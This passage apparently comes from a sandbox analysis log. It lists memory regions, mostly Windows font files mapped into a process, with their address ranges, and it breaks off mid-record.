mapped_file name = "upcel.ttf" filename = "\\Windows\\Fonts\\upcel.ttf" (normalized: "c:\\windows\\fonts\\upcel.ttf") Region: id = 750 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcel.ttf" filename = "\\Windows\\Fonts\\upcel.ttf" (normalized: "c:\\windows\\fonts\\upcel.ttf") Region: id = 751 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcei.ttf" filename = "\\Windows\\Fonts\\upcei.ttf" (normalized: "c:\\windows\\fonts\\upcei.ttf") Region: id = 752 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcei.ttf" filename = "\\Windows\\Fonts\\upcei.ttf" (normalized: "c:\\windows\\fonts\\upcei.ttf") Region: id = 753 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upceb.ttf" filename = "\\Windows\\Fonts\\upceb.ttf" (normalized: "c:\\windows\\fonts\\upceb.ttf") Region: id = 754 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upceb.ttf" filename = "\\Windows\\Fonts\\upceb.ttf" (normalized: "c:\\windows\\fonts\\upceb.ttf") Region: id = 755 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcebi.ttf" filename = "\\Windows\\Fonts\\upcebi.ttf" (normalized: "c:\\windows\\fonts\\upcebi.ttf") Region: id = 756 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcebi.ttf" filename = "\\Windows\\Fonts\\upcebi.ttf" (normalized: "c:\\windows\\fonts\\upcebi.ttf") Region: id = 757 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfl.ttf" filename = "\\Windows\\Fonts\\upcfl.ttf" (normalized: "c:\\windows\\fonts\\upcfl.ttf") Region: id = 758 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfl.ttf" filename = "\\Windows\\Fonts\\upcfl.ttf" (normalized: "c:\\windows\\fonts\\upcfl.ttf") Region: id = 759 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfi.ttf" filename = "\\Windows\\Fonts\\upcfi.ttf" (normalized: "c:\\windows\\fonts\\upcfi.ttf") Region: id = 760 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfi.ttf" filename = "\\Windows\\Fonts\\upcfi.ttf" (normalized: "c:\\windows\\fonts\\upcfi.ttf") Region: id = 761 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfb.ttf" filename = "\\Windows\\Fonts\\upcfb.ttf" (normalized: "c:\\windows\\fonts\\upcfb.ttf") Region: id = 762 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfb.ttf" filename = "\\Windows\\Fonts\\upcfb.ttf" (normalized: "c:\\windows\\fonts\\upcfb.ttf") Region: id = 763 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfbi.ttf" filename = "\\Windows\\Fonts\\upcfbi.ttf" (normalized: "c:\\windows\\fonts\\upcfbi.ttf") Region: id = 764 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfbi.ttf" filename = "\\Windows\\Fonts\\upcfbi.ttf" (normalized: "c:\\windows\\fonts\\upcfbi.ttf") Region: id = 765 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcil.ttf" filename = "\\Windows\\Fonts\\upcil.ttf" (normalized: "c:\\windows\\fonts\\upcil.ttf") Region: id = 766 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcil.ttf" filename = "\\Windows\\Fonts\\upcil.ttf" (normalized: "c:\\windows\\fonts\\upcil.ttf") Region: id = 767 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcii.ttf" filename = "\\Windows\\Fonts\\upcii.ttf" (normalized: "c:\\windows\\fonts\\upcii.ttf") Region: id = 768 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcii.ttf" filename = "\\Windows\\Fonts\\upcii.ttf" (normalized: "c:\\windows\\fonts\\upcii.ttf") Region: id = 769 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcib.ttf" filename = "\\Windows\\Fonts\\upcib.ttf" (normalized: "c:\\windows\\fonts\\upcib.ttf") Region: id = 770 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcib.ttf" filename = "\\Windows\\Fonts\\upcib.ttf" (normalized: "c:\\windows\\fonts\\upcib.ttf") Region: id = 771 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcibi.ttf" filename = "\\Windows\\Fonts\\upcibi.ttf" (normalized: "c:\\windows\\fonts\\upcibi.ttf") Region: id = 772 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcibi.ttf" filename = "\\Windows\\Fonts\\upcibi.ttf" (normalized: "c:\\windows\\fonts\\upcibi.ttf") Region: id = 773 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcjl.ttf" filename = "\\Windows\\Fonts\\upcjl.ttf" (normalized: "c:\\windows\\fonts\\upcjl.ttf") Region: id = 774 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcjl.ttf" filename = "\\Windows\\Fonts\\upcjl.ttf" (normalized: "c:\\windows\\fonts\\upcjl.ttf") Region: id = 775 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcji.ttf" filename = "\\Windows\\Fonts\\upcji.ttf" (normalized: "c:\\windows\\fonts\\upcji.ttf") Region: id = 776 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcji.ttf" filename = "\\Windows\\Fonts\\upcji.ttf" (normalized: "c:\\windows\\fonts\\upcji.ttf") Region: id = 777 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcjb.ttf" filename = "\\Windows\\Fonts\\upcjb.ttf" (normalized: "c:\\windows\\fonts\\upcjb.ttf") Region: id = 778 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcjb.ttf" filename = "\\Windows\\Fonts\\upcjb.ttf" (normalized: "c:\\windows\\fonts\\upcjb.ttf") Region: id = 779 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcjbi.ttf" filename = "\\Windows\\Fonts\\upcjbi.ttf" (normalized: "c:\\windows\\fonts\\upcjbi.ttf") Region: id = 780 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcjbi.ttf" filename = "\\Windows\\Fonts\\upcjbi.ttf" (normalized: "c:\\windows\\fonts\\upcjbi.ttf") Region: id = 781 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upckl.ttf" filename = "\\Windows\\Fonts\\upckl.ttf" (normalized: "c:\\windows\\fonts\\upckl.ttf") Region: id = 782 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upckl.ttf" filename = "\\Windows\\Fonts\\upckl.ttf" (normalized: "c:\\windows\\fonts\\upckl.ttf") Region: id = 783 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcki.ttf" filename = "\\Windows\\Fonts\\upcki.ttf" (normalized: "c:\\windows\\fonts\\upcki.ttf") Region: id = 784 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcki.ttf" filename = "\\Windows\\Fonts\\upcki.ttf" (normalized: "c:\\windows\\fonts\\upcki.ttf") Region: id = 785 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upckb.ttf" filename = "\\Windows\\Fonts\\upckb.ttf" (normalized: "c:\\windows\\fonts\\upckb.ttf") Region: id = 786 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upckb.ttf" filename = "\\Windows\\Fonts\\upckb.ttf" (normalized: "c:\\windows\\fonts\\upckb.ttf") Region: id = 787 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upckbi.ttf" filename = "\\Windows\\Fonts\\upckbi.ttf" (normalized: "c:\\windows\\fonts\\upckbi.ttf") Region: id = 788 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upckbi.ttf" filename = "\\Windows\\Fonts\\upckbi.ttf" (normalized: "c:\\windows\\fonts\\upckbi.ttf") Region: id = 789 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcll.ttf" filename = "\\Windows\\Fonts\\upcll.ttf" (normalized: "c:\\windows\\fonts\\upcll.ttf") Region: id = 790 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcll.ttf" filename = "\\Windows\\Fonts\\upcll.ttf" (normalized: "c:\\windows\\fonts\\upcll.ttf") Region: id = 791 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcli.ttf" filename = "\\Windows\\Fonts\\upcli.ttf" (normalized: "c:\\windows\\fonts\\upcli.ttf") Region: id = 792 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcli.ttf" filename = "\\Windows\\Fonts\\upcli.ttf" (normalized: "c:\\windows\\fonts\\upcli.ttf") Region: id = 793 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upclb.ttf" filename = "\\Windows\\Fonts\\upclb.ttf" (normalized: "c:\\windows\\fonts\\upclb.ttf") Region: id = 794 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upclb.ttf" filename = "\\Windows\\Fonts\\upclb.ttf" (normalized: "c:\\windows\\fonts\\upclb.ttf") Region: id = 795 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upclbi.ttf" filename = "\\Windows\\Fonts\\upclbi.ttf" (normalized: "c:\\windows\\fonts\\upclbi.ttf") Region: id = 796 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upclbi.ttf" filename = "\\Windows\\Fonts\\upclbi.ttf" (normalized: "c:\\windows\\fonts\\upclbi.ttf") Region: id = 797 start_va = 0x4f90000 end_va = 0x5480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kaiu.ttf" filename = "\\Windows\\Fonts\\kaiu.ttf" (normalized: "c:\\windows\\fonts\\kaiu.ttf") Region: id = 798 start_va = 0x4f90000 end_va = 0x5480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kaiu.ttf" filename = "\\Windows\\Fonts\\kaiu.ttf" (normalized: "c:\\windows\\fonts\\kaiu.ttf") Region: id = 799 start_va = 0x620000 end_va = 0x66ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "l_10646.ttf" filename = "\\Windows\\Fonts\\l_10646.ttf" (normalized: "c:\\windows\\fonts\\l_10646.ttf") Region: id = 800 start_va = 0x620000 end_va = 0x66ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "l_10646.ttf" filename = "\\Windows\\Fonts\\l_10646.ttf" (normalized: "c:\\windows\\fonts\\l_10646.ttf") Region: id = 801 start_va = 0x2d0000 end_va = 0x2edfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ariblk.ttf" filename = "\\Windows\\Fonts\\ariblk.ttf" (normalized: "c:\\windows\\fonts\\ariblk.ttf") Region: id = 802 start_va = 0x2d0000 end_va = 0x2edfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ariblk.ttf" filename = "\\Windows\\Fonts\\ariblk.ttf" (normalized: "c:\\windows\\fonts\\ariblk.ttf") Region: id = 803 start_va = 0x4bf0000 end_va = 0x4cb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibri.ttf" filename = "\\Windows\\Fonts\\calibri.ttf" (normalized: "c:\\windows\\fonts\\calibri.ttf") Region: id = 804 start_va = 0x4bf0000 end_va = 0x4cb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibri.ttf" filename = "\\Windows\\Fonts\\calibri.ttf" (normalized: "c:\\windows\\fonts\\calibri.ttf") Region: id = 805 start_va = 0x4bf0000 end_va = 0x4cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrii.ttf" filename = "\\Windows\\Fonts\\calibrii.ttf" (normalized: "c:\\windows\\fonts\\calibrii.ttf") Region: id = 806 start_va = 0x4bf0000 end_va = 0x4cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrii.ttf" filename = "\\Windows\\Fonts\\calibrii.ttf" (normalized: "c:\\windows\\fonts\\calibrii.ttf") Region: id = 807 start_va = 0x4bf0000 end_va = 0x4cbffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrib.ttf" filename = "\\Windows\\Fonts\\calibrib.ttf" (normalized: "c:\\windows\\fonts\\calibrib.ttf") Region: id = 808 start_va = 0x4bf0000 end_va = 0x4cbffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrib.ttf" filename = "\\Windows\\Fonts\\calibrib.ttf" (normalized: "c:\\windows\\fonts\\calibrib.ttf") Region: id = 809 start_va = 0x4bf0000 end_va = 0x4ccbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibriz.ttf" filename = "\\Windows\\Fonts\\calibriz.ttf" (normalized: "c:\\windows\\fonts\\calibriz.ttf") Region: id = 810 start_va = 0x4bf0000 end_va = 0x4ccbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibriz.ttf" filename = "\\Windows\\Fonts\\calibriz.ttf" (normalized: "c:\\windows\\fonts\\calibriz.ttf") Region: id = 811 start_va = 0x4bf0000 end_va = 0x4d7cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambria.ttc" filename = "\\Windows\\Fonts\\cambria.ttc" (normalized: "c:\\windows\\fonts\\cambria.ttc") Region: id = 812 start_va = 0x4bf0000 end_va = 0x4d7cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambria.ttc" filename = "\\Windows\\Fonts\\cambria.ttc" (normalized: "c:\\windows\\fonts\\cambria.ttc") Region: id = 813 start_va = 0x4bf0000 end_va = 0x4d7cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambria.ttc" filename = "\\Windows\\Fonts\\cambria.ttc" (normalized: "c:\\windows\\fonts\\cambria.ttc") Region: id = 814 start_va = 0x4bf0000 end_va = 0x4cb9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambriai.ttf" filename = "\\Windows\\Fonts\\cambriai.ttf" (normalized: "c:\\windows\\fonts\\cambriai.ttf") Region: id = 815 start_va = 0x4bf0000 end_va = 0x4cb9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambriai.ttf" filename = "\\Windows\\Fonts\\cambriai.ttf" (normalized: "c:\\windows\\fonts\\cambriai.ttf") Region: id = 816 start_va = 0x4bf0000 end_va = 0x4cb1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambriab.ttf" filename = "\\Windows\\Fonts\\cambriab.ttf" (normalized: "c:\\windows\\fonts\\cambriab.ttf") Region: id = 817 start_va = 0x4bf0000 end_va = 0x4cb1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambriab.ttf" filename = "\\Windows\\Fonts\\cambriab.ttf" (normalized: "c:\\windows\\fonts\\cambriab.ttf") Region: id = 818 start_va = 0x4bf0000 end_va = 0x4cb4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambriaz.ttf" filename = "\\Windows\\Fonts\\cambriaz.ttf" (normalized: "c:\\windows\\fonts\\cambriaz.ttf") Region: id = 819 start_va = 0x4bf0000 end_va = 0x4cb4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambriaz.ttf" filename = "\\Windows\\Fonts\\cambriaz.ttf" (normalized: "c:\\windows\\fonts\\cambriaz.ttf") Region: id = 820 start_va = 0x4a0000 end_va = 0x4d5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candara.ttf" filename = "\\Windows\\Fonts\\Candara.ttf" (normalized: "c:\\windows\\fonts\\candara.ttf") Region: id = 821 start_va = 0x4a0000 end_va = 0x4d5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candara.ttf" filename = "\\Windows\\Fonts\\Candara.ttf" (normalized: "c:\\windows\\fonts\\candara.ttf") Region: id = 822 start_va = 0x4a0000 end_va = 0x4d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candarai.ttf" filename = "\\Windows\\Fonts\\Candarai.ttf" (normalized: "c:\\windows\\fonts\\candarai.ttf") Region: id = 823 start_va = 0x4a0000 end_va = 0x4d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candarai.ttf" filename = "\\Windows\\Fonts\\Candarai.ttf" (normalized: "c:\\windows\\fonts\\candarai.ttf") Region: id = 824 start_va = 0x4a0000 end_va = 0x4d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candarab.ttf" filename = "\\Windows\\Fonts\\Candarab.ttf" (normalized: "c:\\windows\\fonts\\candarab.ttf") Region: id = 825 start_va = 0x4a0000 end_va = 0x4d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candarab.ttf" filename = "\\Windows\\Fonts\\Candarab.ttf" (normalized: "c:\\windows\\fonts\\candarab.ttf") Region: id = 826 start_va = 0x4a0000 end_va = 0x4d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candaraz.ttf" filename = "\\Windows\\Fonts\\Candaraz.ttf" (normalized: "c:\\windows\\fonts\\candaraz.ttf") Region: id = 827 start_va = 0x4a0000 end_va = 0x4d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candaraz.ttf" filename = "\\Windows\\Fonts\\Candaraz.ttf" (normalized: "c:\\windows\\fonts\\candaraz.ttf") Region: id = 828 start_va = 0x3f0000 end_va = 0x410fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "comic.ttf" filename = "\\Windows\\Fonts\\comic.ttf" (normalized: "c:\\windows\\fonts\\comic.ttf") Region: id = 829 start_va = 0x3f0000 end_va = 0x410fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "comic.ttf" filename = "\\Windows\\Fonts\\comic.ttf" (normalized: "c:\\windows\\fonts\\comic.ttf") Region: id = 830 start_va = 0x2d0000 end_va = 0x2ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "comicbd.ttf" filename = "\\Windows\\Fonts\\comicbd.ttf" (normalized: "c:\\windows\\fonts\\comicbd.ttf") Region: id = 831 start_va = 0x2d0000 end_va = 0x2ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "comicbd.ttf" filename = "\\Windows\\Fonts\\comicbd.ttf" (normalized: "c:\\windows\\fonts\\comicbd.ttf") Region: id = 832 start_va = 0x620000 end_va = 0x677fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consola.ttf" filename = "\\Windows\\Fonts\\consola.ttf" (normalized: "c:\\windows\\fonts\\consola.ttf") Region: id = 833 start_va = 0x620000 end_va = 0x677fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consola.ttf" filename = "\\Windows\\Fonts\\consola.ttf" (normalized: "c:\\windows\\fonts\\consola.ttf") Region: id = 834 start_va = 0x620000 end_va = 0x679fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consolai.ttf" filename = "\\Windows\\Fonts\\consolai.ttf" (normalized: "c:\\windows\\fonts\\consolai.ttf") Region: id = 835 start_va = 0x620000 end_va = 0x679fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consolai.ttf" filename = "\\Windows\\Fonts\\consolai.ttf" (normalized: "c:\\windows\\fonts\\consolai.ttf") Region: id = 836 start_va = 0x620000 end_va = 0x679fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consolab.ttf" filename = "\\Windows\\Fonts\\consolab.ttf" (normalized: "c:\\windows\\fonts\\consolab.ttf") Region: id = 837 start_va = 0x620000 end_va = 0x679fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consolab.ttf" filename = "\\Windows\\Fonts\\consolab.ttf" (normalized: "c:\\windows\\fonts\\consolab.ttf") Region: id = 838 start_va = 0x620000 end_va = 0x67bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consolaz.ttf" filename = "\\Windows\\Fonts\\consolaz.ttf" (normalized: "c:\\windows\\fonts\\consolaz.ttf") Region: id = 839 start_va = 0x620000 end_va = 0x67bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consolaz.ttf" filename = "\\Windows\\Fonts\\consolaz.ttf" (normalized: "c:\\windows\\fonts\\consolaz.ttf") Region: id = 840 start_va = 0x620000 end_va = 0x68dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constan.ttf" filename = "\\Windows\\Fonts\\constan.ttf" (normalized: "c:\\windows\\fonts\\constan.ttf") Region: id = 841 start_va = 0x620000 end_va = 0x68dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constan.ttf" filename = "\\Windows\\Fonts\\constan.ttf" (normalized: "c:\\windows\\fonts\\constan.ttf") Region: id = 842 start_va = 0x620000 end_va = 0x68dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constani.ttf" filename = "\\Windows\\Fonts\\constani.ttf" (normalized: "c:\\windows\\fonts\\constani.ttf") Region: id = 843 start_va = 0x620000 end_va = 0x68dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constani.ttf" filename = "\\Windows\\Fonts\\constani.ttf" (normalized: "c:\\windows\\fonts\\constani.ttf") Region: id = 844 start_va = 0x620000 end_va = 0x68efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constanb.ttf" filename = "\\Windows\\Fonts\\constanb.ttf" (normalized: "c:\\windows\\fonts\\constanb.ttf") Region: id = 845 start_va = 0x620000 end_va = 0x68efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constanb.ttf" filename = "\\Windows\\Fonts\\constanb.ttf" (normalized: "c:\\windows\\fonts\\constanb.ttf") Region: id = 846 start_va = 0x620000 end_va = 0x68efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constanz.ttf" filename = "\\Windows\\Fonts\\constanz.ttf" (normalized: "c:\\windows\\fonts\\constanz.ttf") Region: id = 847 start_va = 0x620000 end_va = 0x68efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constanz.ttf" filename = "\\Windows\\Fonts\\constanz.ttf" (normalized: "c:\\windows\\fonts\\constanz.ttf") Region: id = 848 start_va = 0x4a0000 end_va = 0x4dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbel.ttf" filename = "\\Windows\\Fonts\\corbel.ttf" (normalized: "c:\\windows\\fonts\\corbel.ttf") Region: id = 849 start_va = 0x4a0000 end_va = 0x4dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbel.ttf" filename = "\\Windows\\Fonts\\corbel.ttf" (normalized: "c:\\windows\\fonts\\corbel.ttf") Region: id = 850 start_va = 0x620000 end_va = 0x661fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbeli.ttf" filename = "\\Windows\\Fonts\\corbeli.ttf" (normalized: "c:\\windows\\fonts\\corbeli.ttf") Region: id = 851 start_va = 0x620000 end_va = 0x661fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbeli.ttf" filename = "\\Windows\\Fonts\\corbeli.ttf" (normalized: "c:\\windows\\fonts\\corbeli.ttf") Region: id = 852 start_va = 0x620000 end_va = 0x662fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbelb.ttf" filename = "\\Windows\\Fonts\\corbelb.ttf" (normalized: "c:\\windows\\fonts\\corbelb.ttf") Region: id = 853 start_va = 0x620000 end_va = 0x662fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbelb.ttf" filename = "\\Windows\\Fonts\\corbelb.ttf" (normalized: "c:\\windows\\fonts\\corbelb.ttf") Region: id = 854 start_va = 0x620000 end_va = 0x664fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbelz.ttf" filename = "\\Windows\\Fonts\\corbelz.ttf" (normalized: "c:\\windows\\fonts\\corbelz.ttf") Region: id = 855 start_va = 0x620000 end_va = 0x664fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbelz.ttf" filename = "\\Windows\\Fonts\\corbelz.ttf" (normalized: "c:\\windows\\fonts\\corbelz.ttf") Region: id = 856 start_va = 0x3f0000 end_va = 0x412fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "framd.ttf" filename = "\\Windows\\Fonts\\framd.ttf" (normalized: "c:\\windows\\fonts\\framd.ttf") Region: id = 857 start_va = 0x3f0000 end_va = 0x412fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "framd.ttf" filename = "\\Windows\\Fonts\\framd.ttf" (normalized: "c:\\windows\\fonts\\framd.ttf") Region: id = 858 start_va = 0x3f0000 end_va = 0x415fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "framdit.ttf" filename = "\\Windows\\Fonts\\framdit.ttf" (normalized: "c:\\windows\\fonts\\framdit.ttf") Region: id = 859 start_va = 0x3f0000 end_va = 0x415fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "framdit.ttf" filename = "\\Windows\\Fonts\\framdit.ttf" (normalized: "c:\\windows\\fonts\\framdit.ttf") Region: id = 860 start_va = 0x4f90000 end_va = 0x5148fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gabriola.ttf" filename = "\\Windows\\Fonts\\Gabriola.ttf" (normalized: "c:\\windows\\fonts\\gabriola.ttf") Region: id = 861 start_va = 0x4f90000 end_va = 0x5148fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gabriola.ttf" filename = "\\Windows\\Fonts\\Gabriola.ttf" (normalized: "c:\\windows\\fonts\\gabriola.ttf") Region: id = 862 start_va = 0x4bf0000 end_va = 0x4ccafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004bf0000" filename = "" Region: id = 863 start_va = 0x3f0000 end_va = 0x416fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgia.ttf" filename = "\\Windows\\Fonts\\georgia.ttf" (normalized: "c:\\windows\\fonts\\georgia.ttf") Region: id = 864 start_va = 0x3f0000 end_va = 0x416fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgia.ttf" filename = "\\Windows\\Fonts\\georgia.ttf" (normalized: "c:\\windows\\fonts\\georgia.ttf") Region: id = 865 start_va = 0x3f0000 end_va = 0x417fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgiai.ttf" filename = "\\Windows\\Fonts\\georgiai.ttf" (normalized: "c:\\windows\\fonts\\georgiai.ttf") Region: id = 866 start_va = 0x3f0000 end_va = 0x417fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgiai.ttf" filename = "\\Windows\\Fonts\\georgiai.ttf" (normalized: "c:\\windows\\fonts\\georgiai.ttf") Region: id = 867 start_va = 0x3f0000 end_va = 0x413fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgiab.ttf" filename = "\\Windows\\Fonts\\georgiab.ttf" (normalized: "c:\\windows\\fonts\\georgiab.ttf") Region: id = 868 start_va = 0x3f0000 end_va = 0x413fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgiab.ttf" filename = "\\Windows\\Fonts\\georgiab.ttf" (normalized: "c:\\windows\\fonts\\georgiab.ttf") Region: id = 869 start_va = 0x3f0000 end_va = 0x418fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgiaz.ttf" filename = "\\Windows\\Fonts\\georgiaz.ttf" (normalized: "c:\\windows\\fonts\\georgiaz.ttf") Region: id = 870 start_va = 0x3f0000 end_va = 0x418fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgiaz.ttf" filename = "\\Windows\\Fonts\\georgiaz.ttf" (normalized: "c:\\windows\\fonts\\georgiaz.ttf") Region: id = 871 start_va = 0x4b20000 end_va = 0x4b93fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pala.ttf" filename = "\\Windows\\Fonts\\pala.ttf" (normalized: "c:\\windows\\fonts\\pala.ttf") Region: id = 872 start_va = 0x4b20000 end_va = 0x4b93fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pala.ttf" filename = "\\Windows\\Fonts\\pala.ttf" (normalized: "c:\\windows\\fonts\\pala.ttf") Region: id = 873 start_va = 0x620000 end_va 